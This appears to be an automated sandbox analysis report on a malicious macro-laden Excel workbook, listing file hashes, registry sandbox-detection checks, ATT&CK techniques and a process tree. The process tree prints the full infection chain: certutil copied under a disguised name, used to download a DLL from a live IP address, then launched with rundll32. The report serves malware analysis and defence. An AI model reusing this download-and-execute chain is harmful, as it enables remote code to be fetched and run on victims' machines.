fd71a2fcc0b5dd0fb0dbff257839b67749f2cadf30e2d3dae7f0e941d93d24d3

Resubmissions

02-08-2021 09:30

210802-3asm5re99x 10

10-06-2021 19:14

210610-xr9avxf7f6 10

Analysis

max time kernel
252s
max time network
281s
platform
windows10_x64
resource
win10v20210408
submitted
02-08-2021 09:30

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General

Target

cancel_sub_VCP1234567890123.xlsb
Size

123KB
MD5

9e1ee4a42c381eabcf2cde38a1aae7c9
SHA1

015bb306d9e54001d433b3ac2e7212b864f54ae2
SHA256

fd71a2fcc0b5dd0fb0dbff257839b67749f2cadf30e2d3dae7f0e941d93d24d3
SHA512

d8955c76657c68542ebcd1fc0b14b69917976892a2005ff0fcace3754200d52c4557235e083b76f4115cc940281dbe77a8e390e8bd18fbe9d5cdb128191580ec

Score

10^/10

Malware Config

Extracted

Language

xlm4.0

Source

Signatures

Process spawned unexpected child process 2 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	1540	3128	cmd.exe	67
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	636	3128	cmd.exe	67

Executes dropped EXE 1 IoCs

pid	Process
2264	TTObk2.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
3128	EXCEL.EXE

Suspicious use of SetWindowsHookEx 12 IoCs

pid	Process
3128	EXCEL.EXE
3128	EXCEL.EXE
3128	EXCEL.EXE
3128	EXCEL.EXE
3128	EXCEL.EXE
3128	EXCEL.EXE
3128	EXCEL.EXE
3128	EXCEL.EXE
3128	EXCEL.EXE
3128	EXCEL.EXE
3128	EXCEL.EXE
3128	EXCEL.EXE

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 3128 wrote to memory of 1540	3128	EXCEL.EXE	77
PID 3128 wrote to memory of 1540	3128	EXCEL.EXE	77
PID 3128 wrote to memory of 2264	3128	EXCEL.EXE	82
PID 3128 wrote to memory of 2264	3128	EXCEL.EXE	82
PID 3128 wrote to memory of 636	3128	EXCEL.EXE	85
PID 3128 wrote to memory of 636	3128	EXCEL.EXE	85
PID 636 wrote to memory of 2168	636	cmd.exe	87
PID 636 wrote to memory of 2168	636	cmd.exe	87

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\cancel_sub_VCP1234567890123.xlsb"
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:3128
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c mkdir %programdata%\TTObk2 && copy /b %SystemRoot%\System32\certutil.exe %programdata%\TTObk2\TTObk2.exe
  2⤵
  - Process spawned unexpected child process
  PID:1540
- C:\programdata\TTObk2\TTObk2.exe
  "C:\programdata\TTObk2\TTObk2.exe" -urlcache -f -split http://195.123.235.51 c:\programdata\TTObk2\TTObk2.dll
  2⤵
  - Executes dropped EXE
  PID:2264
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c rundll32 %programdata%\TTObk2\TTObk2.dll,StartW
  2⤵
  - Process spawned unexpected child process
  - Suspicious use of WriteProcessMemory
  PID:636
- - C:\Windows\system32\rundll32.exe
    rundll32 C:\ProgramData\TTObk2\TTObk2.dll,StartW
    3⤵
    PID:2168

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/3128-117-0x00007FFA70CE0000-0x00007FFA70CF0000-memory.dmp

Filesize
64KB

Download
memory/3128-123-0x00007FFA8F4D0000-0x00007FFA913C5000-memory.dmp

Filesize
31.0MB

Download
memory/3128-122-0x00007FFA913D0000-0x00007FFA924BE000-memory.dmp

Filesize
16.9MB

Download
memory/3128-121-0x00007FFA70CE0000-0x00007FFA70CF0000-memory.dmp

Filesize
64KB

Download
memory/3128-118-0x00007FFA70CE0000-0x00007FFA70CF0000-memory.dmp

Filesize
64KB

Download
memory/3128-114-0x00007FF7AA140000-0x00007FF7AD6F6000-memory.dmp

Filesize
53.7MB

Download
memory/3128-116-0x00007FFA70CE0000-0x00007FFA70CF0000-memory.dmp

Filesize
64KB

Download
memory/3128-115-0x00007FFA70CE0000-0x00007FFA70CF0000-memory.dmp

Filesize
64KB

Download

Resubmissions

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

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Downloads